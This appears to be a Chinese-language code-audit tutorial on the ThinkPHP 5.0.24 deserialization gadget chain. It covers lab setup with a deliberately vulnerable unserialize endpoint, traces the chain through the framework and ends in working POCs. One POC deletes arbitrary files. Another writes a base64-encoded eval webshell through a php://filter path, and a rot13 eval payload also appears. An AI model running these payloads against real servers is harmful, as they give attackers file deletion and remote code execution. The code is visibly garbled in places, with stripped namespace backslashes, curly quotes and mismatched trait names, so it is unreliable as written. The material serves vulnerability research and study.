5.0.24代码审计调试
前置知识
类的继承
PHP中类的继承通过关键字extend
实现,利用关键字parent::
进行访问父类类型
示例
<?php
class father{
public $name="zhangsan";
public $age="35";
public function SelfIntroduction()
{
echo " I am father";
}
}
class son extends father{
public $name="zhangsi";
public $age="8";
public function SelfIntroduction(){
echo "I am son";
; }
public function FatherIntroduction(){
parent::SelfIntroduction();
}
}
$son=new son();
$son->SelfIntroduction();
//输出“I am son”
$son->FatherIntroduction();
//输出“I am father”
?>
trait
修饰符
trait
修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使得类可以包含另一个类
<?php
trait son{
public function Inbtroduction(){
echo "my name is zhangsi";
}
}
class father{
use test;
public function __construct()
{
echo "My son say:";
}
}
$father=new father();
$father->Introduction();
?>
环境搭建
环境采用PhpStorm+Xdebug+PhpStudy
PhpStorm
(踩大坑:网上相关Xdebug配置教程普遍为2.x版本,相关配置导入phpstorm出错,3.x版本推荐文章:phpstorm配置xdebug 3.0最新教程,跟着这个文章一步一步保证没问题)
ThinkPHP搭建:
github链接:https://github.com/top-think/framework/tree/v5.0.24(tp官网下载链接已经404)
and
gitee源码:https://gitee.com/zhouzhenhan/thinkphp_5.0.24
直接搭建gitee下的文件,会报错缺少start.php
文件,从github中引入相关缺少文件(网上教程全说从官网下载源码拉到小皮就行。。。),如果发生报错,根据报错信息修改路径就ok
目录结构:
其中thinkphp
文件夹为github上拉下来的framework
文件
PhpStudy中把网站首页改到public
文件夹
由于这个框架的反序列化漏洞,只有二次开发且实现反序列化才可以利用,需要手动加入反序列化注入点
在文件application/index/controller/Index.php
删除原本的Index类,修改为:
class Index{
public function index(){
echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_GET['a']));
}
}
此时再访问首页并传入a,页面应该为:
漏洞分析
首先借助Seay全局寻找_destruct
方法,共找到四种
真正入口点为/thinkphp/library/think/process/pipes/Windows.php
下的destruct方法:
public function __destruct()
{
$this->close();
$this->removeFiles();
}
调用两个函数:close()
和removeFiles()
;
ctrl加鼠标左键跟进函数
close()
:
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}
作用为使用foreach
循环遍历文件句柄,并将其关闭,并将$this->fileHandles
设为空,确保所有文件都(没有利用点可以触发其他魔术方法)
removeFiles()
:
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这段函数检查文件名是否存在,若存在使用@unlink
函数删除文件
此处可以导致任意文件删除
任意文件删除POC编写:
$filename
由$this->files
决定,跟进$this->files
因此对private $files
进行赋值可以达到任意文件删除
首先抄写$files
所属类,父类以及命名空间(防止类重名),然后写上变量$files
<?php
namespace thinkprocesspipes;
class Pipes
class Windows extends Pipes{
private $files = [];
}
?>
在www目录下创建一个测试文件(parar.txt)
右键复制文件地址,传入files,并进行实例化和编码
<?php
namespace thinkprocesspipes;
class Pipes
class Windows extends Pipes{
private $files = ["D:phpstudyWWWparar.txt"];
}
$a=new Windows();
echo base64_encode(serialize($a));
?>
传入编码后的poc.成功删除文件
继续分析RCE的链子:
其中函数file_exists()
检测文件是否存在返回布尔值,查看函数定义
发现file_exists($filename)
中的文件名被当做String
字符串类型的数据进行处理,可以触发魔术方法__toString()
下一步全局寻找__toString
方法
大致扫了一下,参考网上大佬博客,下一步利用/thinkphp/library/think/Model.php
下的__toString()
函数
public function __toString()
{
return $this->toJson();
}
其中调用了toJson()
函数,继续跟进
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
这个函数用于将对象转化为JSON格式的字符串。其中$options
为一个可选参数,默认为SON_UNESCAPED_UNICODE
(不对Unicode字符转义),内部再首先调用__toArray()
方法将对象转化为数组,然后使用json_encode()
函数将数组转化为JSON字符串
跟进toArray()
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
(晕了)
在以上代码中,存在四个可控函数调用($可控变量->方法
)
$item[$key] = $relation->append($name)->toArray();
$item[$key] = $relation->append([$attr])->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;
魔术方法__call()
触发机制为调用一个不存在或不可访问的方法
全局寻找__call()
魔术方法
在/thinkphp/library/think/Request.php
下的__call()
魔术方法下,直接调用了call_user_func_array()
函数,可以导致RCE
public function __call($method, $args)
{
if (array_key_exists($method, self::$hook)) {
array_unshift($args, $this);
return call_user_func_array(self::$hook[$method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
(==通过调试==)第一,二条中$relation
返回错误,不可利用。第三条$modelRelation
类型,
因此能够利用的只有第四条:
$item[$key] = $value ? $value->getAttr($attr) : null;
根据代码, 逆推执行这一步需要进入的条件判断语句如下:
if (isset($this->data[$key])) //为假
if ($bindAttr) //为真
if (method_exists($modelRelation, 'getBindAttr'))//为真
if (method_exists($this, $relation)) //为真
if (is_array($name)) & elseif (strpos($name, '.')) //同时为假
if (!empty($this->append)) //为真
因此,按照代码逻辑顺序,需要满足的条件顺序如下
if (!empty($this->append)) //为真
if (is_array($name)) & elseif (strpos($name, '.')) //同时为假
if (method_exists($this, $relation)) //为真
if (method_exists($modelRelation, 'getBindAttr'))//为真
if ($bindAttr) //为真
if (isset($this->data[$key])) //为假
第一步if (!empty($this->append))
:
要求$this->append
不为空,传值即可绕过
第二步if (is_array($name)) & elseif (strpos($name, '.'))
由于foreach ($this->append as $key => $name)
,$name
由$this->append
决定
因此$append
需要满足的条件为不为数组且不包含点
第三步:if (method_exists($this, $relation))
检测在本类中$relation
方法是否存在,调用任一存在的方法即可
第四步:if (method_exists($modelRelation, 'getBindAttr'))//为真
检测在$modelRelation
类中,是否存在getBindAttr
第五步:其中$modelRelation
取决于$this->$relation();
将$relation
设为’getError'($this->append=[‘getError’],getError为Model类里的方法,且结构简单返回值可控。
),$modelRelation
就变成了$this->getError()
public function getError()
{
return $this->error;
}
$error
可控,因此$modelRelation
为$error
$value = $this->getRelationData($modelRelation);
跟进getRelationData($modelRelation)
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
限制条件为:$modelRelation
必须为 Relation对象,通过$this->error
控制,并且$modelRelation这个对象还要有isSelfRelation()、getModel()方法
搜索发现这两种方法都存在于Relation
类中,但Relation
为抽象类,需要寻找子类,全局搜索extends Relation
其中,第五个为抽象类,无法直接使用,但是$modelRelation
必须存在getBindAttr
方法,又只有OneToOne
类中有
abstract class OneToOne extends Relation
{
// 预载入方式 0 -JOIN 1 -IN
protected $eagerlyType = 1;
// 当前关联的JOIN类型
protected $joinType;
// 要绑定的属性
protected $bindAttr = [];
// 关联方法名
protected $relation;
/**
* 设置join类型
* @access public
* @param string $type JOIN类型
* @return $this
*/
public function joinType($type)
{
$this->joinType = $type;
return $this;
}
/**
* 预载入关联查询(JOIN方式)
* @access public
* @param Query $query 查询对象
* @param string $relation 关联名
* @param string $subRelation 子关联
* @param Closure $closure 闭包条件
* @param bool $first
* @return void
*/
public function eagerly(Query $query, $relation, $subRelation, $closure, $first)
{
$name = Loader::parseName(basename(str_replace('\', '/', get_class($query->getModel()))));
if ($first) {
$table = $query->getTable();
$query->table([$table => $name]);
if ($query->getOptions('field')) {
$field = $query->getOptions('field');
$query->removeOption('field');
} else {
$field = true;
}
$query->field($field, false, $table, $name);
$field = null;
}
// 预载入封装
$joinTable = $this->query->getTable();
$joinAlias = $relation;
$query->via($joinAlias);
if ($this instanceof BelongsTo) {
$query->join([$joinTable => $joinAlias], $name . '.' . $this->foreignKey . '=' . $joinAlias . '.' . $this->localKey, $this->joinType);
} else {
$query->join([$joinTable => $joinAlias], $name . '.' . $this->localKey . '=' . $joinAlias . '.' . $this->foreignKey, $this->joinType);
}
if ($closure) {
// 执行闭包查询
call_user_func_array($closure, [ & $query]);
// 使用withField指定获取关联的字段,如
// $query->where(['id'=>1])->withField('id,name');
if ($query->getOptions('with_field')) {
$field = $query->getOptions('with_field');
$query->removeOption('with_field');
}
} elseif (isset($this->option['field'])) {
$field = $this->option['field'];
}
$query->field(isset($field) ? $field : true, false, $joinTable, $joinAlias, $relation . '__');
}
因此,继续寻找OneToOne的子类
选择第二个:因此$this->error=new HasOne()
因此代码就到了$item[$key] = $value ? $value->getAttr($attr) : null
控制$value
就可以调用__call()
方法
但是Request
类中__call()
方法中,self::$hook[$method]
不可控,无法利用
所以使用Output类中的__call()
方法。/thinkphp/library/think/console/Output.php
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
跟进block
方法
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
跟进writeln
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
跟进write
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
$this->handle
可控,全局搜索write
利用:/thinkphp/library/think/session/driver/Memcached.php
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
同样$this->handler
可控,全局搜索set
,利用thinkphp/library/think/cache/driver/File.php
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
存在file_put_contents
函数,但后面存在死亡exit,伪协议绕过一下
但是$data从value取值。set参数来自write,write在writeln的时候传入了true,于是这里无法直写
继续跟进后续的setTagItem
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
在最后再次调用了set
方法
文件内容value
通过$name
赋值(文件名)
$payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?phpn//000000000000n exit();?>n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data);
但是无法在windows
下进行写文件,因为包含了? <
等非法字符
windows下写文件绕过方法参考:Thinkphp5.0反序列化链在Windows下写文件的方法
poc:
<?php
namespace thinkprocesspipes;
use thinkmodelPivot;
class Pipes{
}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
use thinkmodelrelationHasOne; // use 这里是类名 写成了use thinkmodelrelationhasOne;
use thinkconsoleOutput;
abstract class Model{
protected $append = [];
protected $error;
public $parent; // 类型写错写错了 写成了 protected $parent;
public function __construct(){
$this->append=[“getError”];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace thinkmodelrelation;
use thinkmodelRelation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace thinkmodel;
use thinkdbQuery;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace thinkconsole;
use thinksessiondriverMemcache;
class Output{
private $handle = null;
protected $styles = []; //类型错了 写成了private $styles = [];
function __construct(){
$this->styles=[‘getAttr’]; //这个条件忘记加了 注意上下文
$this->handle=new Memcache();
}
}
namespace thinkdb;
use thinkconsoleOutput;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace thinkmodelrelation;
use thinkmodelRelation;
abstract class OneToOne extends Relation{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=[“kanjin”,”kanjin”];
}
}
namespace thinksessiondriver;
use thinkcachedriverFile;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace thinkcachedriver;
use thinkcacheDriver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
‘expire’ => 0,
‘cache_subdir’ => false,
‘prefix’ => ”,
‘path’ => ‘php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php’,
‘data_compress’ => false,
];
}
}
namespace thinkcache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
//
?>